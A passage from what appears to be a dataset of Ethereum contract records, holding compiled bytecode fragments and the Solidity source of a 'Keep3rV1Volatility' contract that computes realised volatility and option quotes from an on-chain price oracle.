ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156120a357600080fd5b7f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561227e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156122ba57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a17f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612420613f82565b60058054806020026020016040519081016040528092919081815260200182805480156124a257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612458575b5050505050905090565b600080600080600080600760149054906101000a900460ff1615156124d4576000955061282f565b8973ffffffffffffffffffffffffffffffffffffffff1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff1614156125285760019350889450612586565b8873ffffffffffffffffffffffffffffffffffffffff1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff16141561257c5760009350899450612585565b6000955061282f565b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b8e9c22e8689878c6000604051602001526040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183151515158152602001828152602001945050505050602060405180830381600087803b151561266757600080fd5b6102c65a03f1151561267857600080fd5b5050506040518051905092506126908a8a8a86613474565b91508161269c8a6131d7565b10156126ab576000955061282f565b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561282b57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a58092b78b8b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156127fc57600080fd5b6102c65a03f1151561280d57600080fd5b5050506040518051905090508083111561282a576000955061282f565b5b8295505b5050505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561289757600080fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156128f057600080fd5b603260048054905010151561290457600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a16001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600480548060010182816129e09190613f96565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000806000612a4086613cb3565b9150612a4b87613cb3565b9050612a5985828487613dea565b92505050949350505050565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612af557600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612b4d57600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b600480549050811015612d59578173ffffffffffffffffffffffffffffffffffffffff16600482815481101515612bdd57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d4e576004600160048054905003815481101515612c3c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600482815481101515612c7757fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600481818054905003915081612cd89190613f56565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1612d59565b806001019050612baa565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612db857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612df457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612e3057600080fd5b82600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7a85322644a4462d8ff5482d2a841a4d231f8cfb3c9f4a50f66f8b2bd568c31c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156130ea57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760149054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613244573073ffffffffffffffffffffffffffffffffffffffff1631935061346c565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508473ffffffffffffffffffffffffffffffffffffffff166370a08231846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561334957600080fd5b6102c65a03f1151561335a57600080fd5b5050506040518051905091508473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561343d57600080fd5b6102c65a03f1151561344e57600080fd5b5050506040518051905090508082106134675780613469565b815b93505b505050919050565b600080600061348286613cb3565b915061348d87613cb3565b905061349b85828487613ea4565b92505050949350505050565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613539576012600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613604565b8073ffffffffffffffffffffffffffffffffffffffff1663313ce5676000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156135a557600080fd5b6102c65a03f115156135b657600080fd5b50505060405180519050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600080600080841561368e5760008611151561362257600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141561367d57883414151561367857600080fd5b61368d565b60003414151561368c57600080fd5b5b5b61369a8a898b89613474565b92506000831115156136ab57600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614156136fe57829050879150613727565b887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0290508991505b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c6fd210383836000436040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050600060405180830381600087803b15156137fc57600080fd5b6102c65a03f1151561380d57600080fd5b50505073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415156139be578973ffffffffffffffffffffffffffffffffffffffff166323b872dd33600b60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168c6000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561399757600080fd5b6102c65a03f115156139a857600080fd5b5050506040518051905015156139bd57600080fd5b5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415613a4b578673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515613a4657600080fd5b613bb0565b8773ffffffffffffffffffffffffffffffffffffffff166323b872dd600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515613b8957600080fd5b6102c65a03f11515613b9a57600080fd5b505050604051805190501515613baf57600080fd5b5b3373ffffffffffffffffffffffffffffffffffffffff167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8b8b8b878c604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390a2600193505050509695505050505050565b60008073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613d075760129150613de4565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415613de0578273ffffffffffffffffffffffffffffffffffffffff1663313ce5676000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613dbe57600080fd5b6102c65a03f11515613dcf57600080fd5b505050604051805190509150613de4565b8091505b50919050565b60008060006b204fce5e3e250261100000008711151515613e0a57600080fd5b620f4240670de0b6b3a7640000028411151515613e2657600080fd5b8486101515613e5d57601285870311151515613e4157600080fd5b848603600a0a87670de0b6b3a764000002029150839050613e87565b601286860311151515613e6f57600080fd5b86670de0b6b3a7640000029150858503600a0a840290505b80600182840103811515613e9757fe5b0492505050949350505050565b60006b204fce5e3e250261100000008511151515613ec157600080fd5b620f4240670de0b6b3a7640000028211151515613edd57600080fd5b8383101515613f1c57601284840311151515613ef857600080fd5b670de0b6b3a7640000848403600a0a83870202811515613f1457fe5b049050613f4e565b601283850311151515613f2e57600080fd5b828403600a0a670de0b6b3a764000002828602811515613f4a57fe5b0490505b949350505050565b815481835581811511613f7d57818360005260206000209182019101613f7c9190613fc2565b5b505050565b602060405190810160405280600081525090565b815481835581811511613fbd57818360005260206000209182019101613fbc9190613fc2565b5b505050565b613fe491905b80821115613fe0576000816000905550600101613fc8565b5090565b905600a165627a7a723058206de6c28bcb9e6c4a4934926b4443c500860764272b77a58ade277418a4e6f3c80029
{"success": true, "error": null, "results": {}}
7,272
0xaa1869c1426809d72eee4f5662773b07c3293776
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1Volatility { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C); address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) { uint price = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut); return quotePrice(tokenIn, tokenOut, t, price, price); } function price(address tokenIn, address tokenOut) public view returns (uint) { if (tokenIn == WETH) { return KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut); } else { uint _weth = KV1O.current(tokenIn, 1e18, WETH); return KV1O.current(WETH, _weth, tokenOut); } } function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) { uint v = rVol(tokenIn, tokenOut, 4, 24); return quoteAll(t, v, sp, st); } function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) { uint _c; uint _p; if (sp > st) { _c = C(t, v, sp, st); _p = st-sp+_c; } else { _p = C(t, v, st, sp); _c = st-sp+_p; } return (_c, _p); } function C(uint t, uint v, uint sp, uint st) public pure returns (uint) { if (sp == st) { return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9; } uint sigma = ((v**2)/2); uint sigmaB = 1e36; uint sig = 1e18 * sigma / sigmaB * t / 365; uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9; uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1; d1 = (d1 + sig) * 1e18 / sSQRT; uint d2 = d1 - sSQRT; uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18); uint cdfD2 = cdf(int(FIXED_1) * int(d2) / 1e18); return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14; } function ncdf(uint x) internal pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } /** * @notice Takes the absolute value of a given number * @dev Helper function * @param _number The specified number * @return The absolute value of the number */ function abs(int256 _number) private pure returns (uint256) { return _number < 0 ? uint256(_number * (-1)) : uint256(_number); } function cdf(int x) internal pure returns (uint) { int t1 = int(1e7 + int(2315419 * abs(x) / FIXED_1)); uint exp = uint(x / 2 * x) / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function generalLog(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) public pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) { return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window)); } function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 2); } function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 48); } function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 336); } function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 2); } function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 48); } function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 336); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80637f8290d011610097578063c6a5153511610066578063c6a5153514610397578063c801e067146103cd578063d3442edf14610403578063e031d45314610432576100f5565b80637f8290d014610292578063892f82f0146102b6578063ad5c464814610359578063b646638414610361576100f5565b80632b9432a8116100d35780632b9432a8146101c35780633394f9ed146101f25780633a6fdf471461022857806365c3c2b414610264576100f5565b80630969e8db146100fa5780630e755974146101555780632b00490d14610195575b600080fd5b61013c600480360360a081101561011057600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610460565b6040805192835260208301919091528051918290030190f35b6101836004803603604081101561016b57600080fd5b506001600160a01b0381358116916020013516610490565b60408051918252519081900360200190f35b610183600480360360408110156101ab57600080fd5b506001600160a01b03813581169160200135166104aa565b61013c600480360360808110156101d957600080fd5b508035906020810135906040810135906060013561074c565b6101836004803603606081101561020857600080fd5b506001600160a01b03813581169160208101359091169060400135610796565b6101836004803603608081101561023e57600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356107ad565b6101836004803603604081101561027a57600080fd5b506001600160a01b0381358116916020013516610979565b61029a610988565b604080516001600160a01b039092168252519081900360200190f35b610183600480360360208110156102cc57600080fd5b8101906020810181356401000000008111156102e757600080fd5b8201836020820111156102f957600080fd5b8035906020019184602083028401116401000000008311171561031b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109a0945050505050565b61029a610a41565b61013c6004803603606081101561037757600080fd5b506001600160a01b03813581169160208101359091169060400135610a59565b610183600480360360608110156103ad57600080fd5b506001600160a01b03813581169160208101359091169060400135610b88565b610183600480360360608110156103e357600080fd5b506001600160a01b03813581169160208101359091169060400135610b97565b6101836004803603608081101561041957600080fd5b5080359060208101359060408101359060600135610ba7565b6101836004803603604081101561044857600080fd5b506001600160a01b0381358116916020013516610cfd565b60008060006104738888600460186107ad565b90506104818682878761074c565b92509250509550959350505050565b60006104a1838360026101506107ad565b90505b92915050565b60006001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156105e6577373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c284856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561052e57600080fd5b505afa158015610542573d6000803e3d6000fd5b505050506040513d602081101561055857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a6024830152918616604482015290516064808301926020929190829003018186803b1580156105b357600080fd5b505afa1580156105c7573d6000803e3d6000fd5b505050506040513d60208110156105dd57600080fd5b505190506104a4565b604080516353ae9ce160e11b81526001600160a01b0385166004820152670de0b6b3a7640000602482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2604482015290516000917373353801921417f465377c8d898c6f4c0270282c9163a75d39c291606480820192602092909190829003018186803b15801561066c57600080fd5b505afa158015610680573d6000803e3d6000fd5b505050506040513d602081101561069657600080fd5b5051604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018390526001600160a01b038616604482015290519192507373353801921417f465377c8d898c6f4c0270282c9163a75d39c291606480820192602092909190829003018186803b15801561071757600080fd5b505afa15801561072b573d6000803e3d6000fd5b505050506040513d602081101561074157600080fd5b505191506104a49050565b600080600080848611156107735761076688888888610ba7565b9150508484038101610789565b61077f88888789610ba7565b9050808686030191505b9097909650945050505050565b60006107a584848460026107ad565b949350505050565b60006109707373353801921417f465377c8d898c6f4c0270282c6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561080f57600080fd5b505afa158015610823573d6000803e3d6000fd5b505050506040513d602081101561083957600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156108df57600080fd5b81019080805160405193929190846401000000008211156108ff57600080fd5b90830190602082018581111561091457600080fd5b825186602082028301116401000000008211171561093157600080fd5b82525081516020918201928201910280838360005b8381101561095e578181015183820152602001610946565b505050509050016040525050506109a0565b9